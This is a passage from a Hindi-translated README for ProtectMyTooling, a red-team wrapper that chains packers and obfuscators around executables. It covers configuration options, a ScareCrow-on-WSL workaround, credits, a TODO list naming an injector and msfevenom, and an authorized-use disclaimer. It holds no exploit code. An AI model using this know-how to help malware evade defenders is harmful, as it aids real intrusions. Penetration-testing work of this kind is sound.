* `protect_my_tooling_config` - विभिन्न पैकर्स विकल्पों के साथ ProtectMyTooling कॉन्फ़िगरेशन फ़ाइल का पथ निर्दिष्ट करें
* `dotnet_assemblies_directory` - स्थानीय पथ निर्दिष्ट करें जहाँ .NET असेंबलियों की खोज की जानी चाहिए यदि execute-assembly द्वारा नहीं मिलती हैं
* `cache_protected_executables` - पहले से संरक्षित एक्सीक्यूटेबल्स को कैश करने और जरूरत पड़ने पर पुन: उपयोग करने में सक्षम करें
* `protected_executables_cache_dir` - उस निर्देशिका का पथ निर्दिष्ट करें जो कैश किए गए संरक्षित एक्सीक्यूटेबल्स को संग्रहीत करे
* `default_exe_x86_packers_chain` - नेटिव x86 EXE एक्सीक्यूटेबल्स प्रोटेक्टर्स/पैकर्स चेन
* `default_exe_x64_packers_chain` - नेटिव x64 EXE एक्सीक्यूटेबल्स प्रोटेक्टर्स/पैकर्स चेन
* `default_dll_x86_packers_chain` - नेटिव x86 DLL एक्सीक्यूटेबल्स प्रोटेक्टर्स/पैकर्स चेन
* `default_dll_x64_packers_chain` - नेटिव x64 DLL एक्सीक्यूटेबल्स प्रोटेक्टर्स/पैकर्स चेन
* `default_dotnet_packers_chain` - .NET एक्सीक्यूटेबल्स प्रोटेक्टर्स/पैकर्स चेन

---

## ज्ञात समस्याएँ

- `ScareCrow` को Windows से चलाना बहुत मुश्किल है। मेरे लिए जो काम किया वह निम्नलिखित है:
  1. Windows 10 पर चलाएँ और WSL स्थापित हो (`bash.exe` कमांड Windows में उपलब्ध)
  2. WSL में `golang` संस्करण `1.16+` पर स्थापित हो ( `1.18` पर परीक्षण किया गया)
  3. सुनिश्चित करें कि `PackerScareCrow.Run_ScareCrow_On_Windows_As_WSL = True` सेट हो

---

## श्रेय एवं प्रयुक्त प्रौद्योगिकी

- सभी पैकर, ऑबफस्केटर, कन्वर्टर, लोडर का श्रेय उनके लेखकों को जाता है। यह उपकरण केवल उनकी तकनीक के चारों ओर एक रैपर है!
  - उम्मीद है कि उनमें से कोई भी मेरे द्वारा ऐसे रैपर जोड़ने पर आपत्ति नहीं करेगा। यदि कोई चिंता हो - कृपया मुझसे संपर्क करें।
  
- _ProtectMyTooling_ कुछ Nim-आधारित पैकर्स द्वारा **moloch--** के [`denim.exe`](https://github.com/moloch--/denim) का भी उपयोग करता है।

---

## TODO

- कस्टम PE इंजेक्टर लिखें और इसे "प्रोटेक्टर" के रूप में पेश करें
- अन्य फ़ाइल स्वरूपों जैसे Office दस्तावेज़, WSH स्क्रिप्ट (VBS, JS, HTA) और कंटेनरों में वॉटरमार्किंग जोड़ें
- आगामी भविष्य में कुछ अन्य पैकर्स/लोडर्स/जनरेटर के लिए समर्थन जोड़ें:
  - [`GadgetToJScript`](https://github.com/med0x2e/GadgetToJScript)
  - [`Limelighter`](https://github.com/Tylous/Limelighter)
  - [`PEZor`](https://github.com/phra/PEzor)
  - [`msfevenom`](https://github.com/rapid7/metasploit-framework) - दो प्रकार, एक इनपुट शेलकोड के लिए, दूसरा एक्सीक्यूटेबल के लिए

---

## अस्वीकरण

इस उपकरण के साथ-साथ अन्य परियोजनाओं का उपयोग जिनका मैं लेखक हूँ, अवैध उद्देश्यों, अनचाहे हैकिंग, साइबर-जासूसी के लिए सख्ती से प्रतिबंधित है।
यह और मेरे द्वारा वितरित अन्य उपकरण पेशेवर पेनिट्रेशन टेस्टर्स, सुरक्षा सलाहकारों, सुरक्षा इंजीनियरों और अन्य सुरक्षा कर्मियों को उनके ग्राहकों के नेटवर्क की साइबर-रक्षा क्षमताओं में सुधार करने में मदद करते हैं।
किसी भी स्थिति में लेखक या कॉपीराइट धारक इस सॉफ्टवेयर के अवैध उपयोग से उत्पन्न किसी भी दावे, क्षति या अन्य देयता के लिए उत्तरदायी नहीं होंगे।

यदि चिंताएँ, कॉपीराइट मुद्दे, इस सॉफ्टवेयर से उत्पन्न खतरे या अन्य पूछताछ हैं - मैं जिम्मेदारी से उन्हें संबोधित करने में सहयोग करने के लिए तैयार हूँ।

यह उपकरण मुख्यतः ओपन-सोर्स या व्यावसायिक रूप से उपलब्ध पैकर्स/प्रोटेक्टर्स/ऑबफस्केशन सॉफ्टवेयर का उपयोग करने के लिए एक सुविधाजनक इंटरफ़ेस प्रस्तुत करता है, इसलिए यह तुरंत साइबर-सुरक्षा परिदृश्य में कोई नया खतरा पेश नहीं करता है।

### ☕ समर्थन दिखाएँ ☕

यह और अन्य परियोजनाएँ नींद हराम रातों और **काफी कड़ी मेहनत** का परिणाम हैं। यदि आपको मेरा काम पसंद है और आप सराहना करते हैं कि मैं हमेशा समुदाय को वापस देता हूँ,
[मुझे एक कॉफी खरीदने पर विचार करें](https://github.com/sponsors/mgeeky) _(या बेहतर एक बीयर)_ बस धन्यवाद कहने के लिए! 💪 

---

## लेखक```   
   Mariusz Banach / mgeeky, '20-'22
   <mb [at] binary-offensive.com>
   (https://github.com/mgeeky)